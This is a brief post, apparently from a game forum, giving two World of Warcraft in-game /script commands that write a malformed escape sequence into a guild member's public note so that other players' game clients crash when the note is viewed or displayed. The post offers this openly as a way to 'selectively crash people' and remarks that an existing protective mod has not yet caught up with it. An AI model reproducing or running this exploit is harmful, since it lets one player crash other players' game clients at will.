You can also use this to selectively crash people
/script DEFAULT_CHAT_FRAME:AddMessage(GetGuildRosterSelection())
Put the number it gives you into the next script
/script GuildRosterSetPublicNote(NUMBER,"\1243")
Now you'll crash if you look at their guild note, or have it displayed.
BTW that immunize mod will need to be updated to prevent crashes displayed in this manner. :P